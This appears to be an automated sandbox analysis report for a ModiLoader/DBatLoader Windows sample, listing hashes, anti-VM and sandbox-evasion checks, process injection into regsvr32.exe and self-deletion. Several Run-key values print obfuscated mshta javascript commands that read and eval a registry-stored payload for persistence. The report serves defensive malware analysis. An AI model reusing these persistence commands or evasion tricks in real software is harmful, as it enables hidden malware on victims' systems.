Analysis
-
max time kernel
150s -
max time network
154s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
05-05-2024 08:47
Static task
static1
Behavioral task
behavioral1
Sample
16e3029222864030e68ddeca0687882d_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
16e3029222864030e68ddeca0687882d_JaffaCakes118.exe
Resource
win10v2004-20240419-en
General
-
Target
16e3029222864030e68ddeca0687882d_JaffaCakes118.exe
-
Size
549KB
-
MD5
16e3029222864030e68ddeca0687882d
-
SHA1
f42c97e4054763a8520aaa7318596d5955251294
-
SHA256
e2862099ecb4e6a3e51f07e1d1811cf8dd4903c33f9bd3be86587fb52ba01766
-
SHA512
be22223452269ef0d4228146c4df7d7d4f285294c2af927359c7f2e8164629c69ee15fef77bed2f143f6d521bc64d72b9f3abe9c83911c1c6c2807086cfd08ca
-
SSDEEP
12288:/ZTDd4t/u28bEFGWtdOKbBEP68A2TiiIk1c9La:/H4Vu4xL2Pa2mZk1Wa
Malware Config
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
ModiLoader Second Stage 42 IoCs
Processes:
resource yara_rule behavioral1/memory/2172-2-0x0000000000400000-0x000000000048E000-memory.dmp modiloader_stage2 behavioral1/memory/2172-7-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2172-8-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2172-6-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2172-5-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2172-4-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2172-10-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2172-15-0x0000000000400000-0x000000000048E000-memory.dmp modiloader_stage2 behavioral1/memory/2896-21-0x0000000000170000-0x000000000023C000-memory.dmp modiloader_stage2 behavioral1/memory/2896-23-0x0000000000170000-0x000000000023C000-memory.dmp modiloader_stage2 behavioral1/memory/2896-19-0x0000000000170000-0x000000000023C000-memory.dmp modiloader_stage2 behavioral1/memory/2896-20-0x0000000000170000-0x000000000023C000-memory.dmp modiloader_stage2 behavioral1/memory/2896-22-0x0000000000170000-0x000000000023C000-memory.dmp modiloader_stage2 behavioral1/memory/2896-25-0x0000000000170000-0x000000000023C000-memory.dmp modiloader_stage2 behavioral1/memory/2576-33-0x0000000000230000-0x00000000002FC000-memory.dmp modiloader_stage2 behavioral1/memory/2576-36-0x0000000000230000-0x00000000002FC000-memory.dmp modiloader_stage2 behavioral1/memory/2576-35-0x0000000000230000-0x00000000002FC000-memory.dmp modiloader_stage2 behavioral1/memory/2576-34-0x0000000000230000-0x00000000002FC000-memory.dmp modiloader_stage2 behavioral1/memory/2576-37-0x0000000000230000-0x00000000002FC000-memory.dmp modiloader_stage2 behavioral1/memory/2576-32-0x0000000000230000-0x00000000002FC000-memory.dmp modiloader_stage2 behavioral1/memory/2576-40-0x0000000000230000-0x00000000002FC000-memory.dmp modiloader_stage2 behavioral1/memory/2576-43-0x0000000000230000-0x00000000002FC000-memory.dmp modiloader_stage2 behavioral1/memory/2576-46-0x0000000000230000-0x00000000002FC000-memory.dmp modiloader_stage2 behavioral1/memory/2576-47-0x0000000000230000-0x00000000002FC000-memory.dmp modiloader_stage2 behavioral1/memory/2576-45-0x0000000000230000-0x00000000002FC000-memory.dmp modiloader_stage2 behavioral1/memory/2576-44-0x0000000000230000-0x00000000002FC000-memory.dmp modiloader_stage2 behavioral1/memory/2576-48-0x0000000000230000-0x00000000002FC000-memory.dmp modiloader_stage2 behavioral1/memory/2576-42-0x0000000000230000-0x00000000002FC000-memory.dmp modiloader_stage2 behavioral1/memory/2576-41-0x0000000000230000-0x00000000002FC000-memory.dmp modiloader_stage2 behavioral1/memory/2408-55-0x00000000000D0000-0x000000000019C000-memory.dmp modiloader_stage2 behavioral1/memory/2408-57-0x00000000000D0000-0x000000000019C000-memory.dmp modiloader_stage2 behavioral1/memory/2408-54-0x00000000000D0000-0x000000000019C000-memory.dmp modiloader_stage2 behavioral1/memory/2408-52-0x00000000000D0000-0x000000000019C000-memory.dmp modiloader_stage2 behavioral1/memory/2408-56-0x00000000000D0000-0x000000000019C000-memory.dmp modiloader_stage2 behavioral1/memory/2408-53-0x00000000000D0000-0x000000000019C000-memory.dmp modiloader_stage2 behavioral1/memory/2576-58-0x0000000000230000-0x00000000002FC000-memory.dmp modiloader_stage2 behavioral1/memory/2576-59-0x0000000000230000-0x00000000002FC000-memory.dmp modiloader_stage2 behavioral1/memory/576-66-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 behavioral1/memory/576-67-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 behavioral1/memory/576-64-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 behavioral1/memory/576-65-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 behavioral1/memory/576-63-0x0000000000090000-0x000000000015C000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:FBjtW9dW8=\"5ymE5\";Nb04=new%20ActiveXObject(\"WScript.Shell\");E25ToIpQ=\"RSA7P\";Aa9Vd0=Nb04.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\9e4ab122db\\\\a90a5c2c\");Z6AGsNOF=\"26tKD\";eval(Aa9Vd0);T3uiZo5qrf=\"cY01dpStUS\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 2576 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Q2I0zRjHs=\"4\";k1x=new%20ActiveXObject(\"WScript.Shell\");KHKpdz1=\"g\";JNgu02=k1x.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\9e4ab122db\\\\a90a5c2c\");a0ybd5rc=\"kF\";eval(JNgu02);YB9IcHr8=\"DnHX9wC\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:HVR2YXF=\"jFVL\";Ki00=new%20ActiveXObject(\"WScript.Shell\");K3pZzMRV=\"9\";Sy7ij=Ki00.RegRead(\"HKCU\\\\software\\\\9e4ab122db\\\\a90a5c2c\");wH2OkYAll=\"ii4Iz\";eval(Sy7ij);jmx9LzQ=\"OJwyhM\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
regsvr32.exepid process 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
Processes:
16e3029222864030e68ddeca0687882d_JaffaCakes118.exeregsvr32.exeregsvr32.exepid process 2172 16e3029222864030e68ddeca0687882d_JaffaCakes118.exe 2172 16e3029222864030e68ddeca0687882d_JaffaCakes118.exe 2172 16e3029222864030e68ddeca0687882d_JaffaCakes118.exe 2896 regsvr32.exe 2896 regsvr32.exe 2896 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe 2576 regsvr32.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
16e3029222864030e68ddeca0687882d_JaffaCakes118.exeregsvr32.exeregsvr32.exedescription pid process target process PID 2172 wrote to memory of 2896 2172 16e3029222864030e68ddeca0687882d_JaffaCakes118.exe regsvr32.exe PID 2172 wrote to memory of 2896 2172 16e3029222864030e68ddeca0687882d_JaffaCakes118.exe regsvr32.exe PID 2172 wrote to memory of 2896 2172 16e3029222864030e68ddeca0687882d_JaffaCakes118.exe regsvr32.exe PID 2172 wrote to memory of 2896 2172 16e3029222864030e68ddeca0687882d_JaffaCakes118.exe regsvr32.exe PID 2172 wrote to memory of 2896 2172 16e3029222864030e68ddeca0687882d_JaffaCakes118.exe regsvr32.exe PID 2172 wrote to memory of 2896 2172 16e3029222864030e68ddeca0687882d_JaffaCakes118.exe regsvr32.exe PID 2172 wrote to memory of 2896 2172 16e3029222864030e68ddeca0687882d_JaffaCakes118.exe regsvr32.exe PID 2896 wrote to memory of 2576 2896 regsvr32.exe regsvr32.exe PID 2896 wrote to memory of 2576 2896 regsvr32.exe regsvr32.exe PID 2896 wrote to memory of 2576 2896 regsvr32.exe regsvr32.exe PID 2896 wrote to memory of 2576 2896 regsvr32.exe regsvr32.exe PID 2896 wrote to memory of 2576 2896 regsvr32.exe regsvr32.exe PID 2896 wrote to memory of 2576 2896 regsvr32.exe regsvr32.exe PID 2896 wrote to memory of 2576 2896 regsvr32.exe regsvr32.exe PID 2576 wrote to memory of 2408 2576 regsvr32.exe regsvr32.exe PID 2576 wrote to memory of 2408 2576 regsvr32.exe regsvr32.exe PID 2576 wrote to memory of 2408 2576 regsvr32.exe regsvr32.exe PID 2576 wrote to memory of 2408 2576 regsvr32.exe regsvr32.exe PID 2576 wrote to memory of 2408 2576 regsvr32.exe regsvr32.exe PID 2576 wrote to memory of 2408 2576 regsvr32.exe regsvr32.exe PID 2576 wrote to memory of 2408 2576 regsvr32.exe regsvr32.exe PID 2576 wrote to memory of 576 2576 regsvr32.exe regsvr32.exe PID 2576 wrote to memory of 576 2576 regsvr32.exe regsvr32.exe PID 2576 wrote to memory of 576 2576 regsvr32.exe regsvr32.exe PID 2576 wrote to memory of 576 2576 regsvr32.exe regsvr32.exe PID 2576 wrote to memory of 576 2576 regsvr32.exe regsvr32.exe PID 2576 wrote to memory of 576 2576 regsvr32.exe regsvr32.exe PID 2576 wrote to memory of 576 2576 regsvr32.exe regsvr32.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\16e3029222864030e68ddeca0687882d_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\16e3029222864030e68ddeca0687882d_JaffaCakes118.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2172 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2896 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2576 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:2408
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:576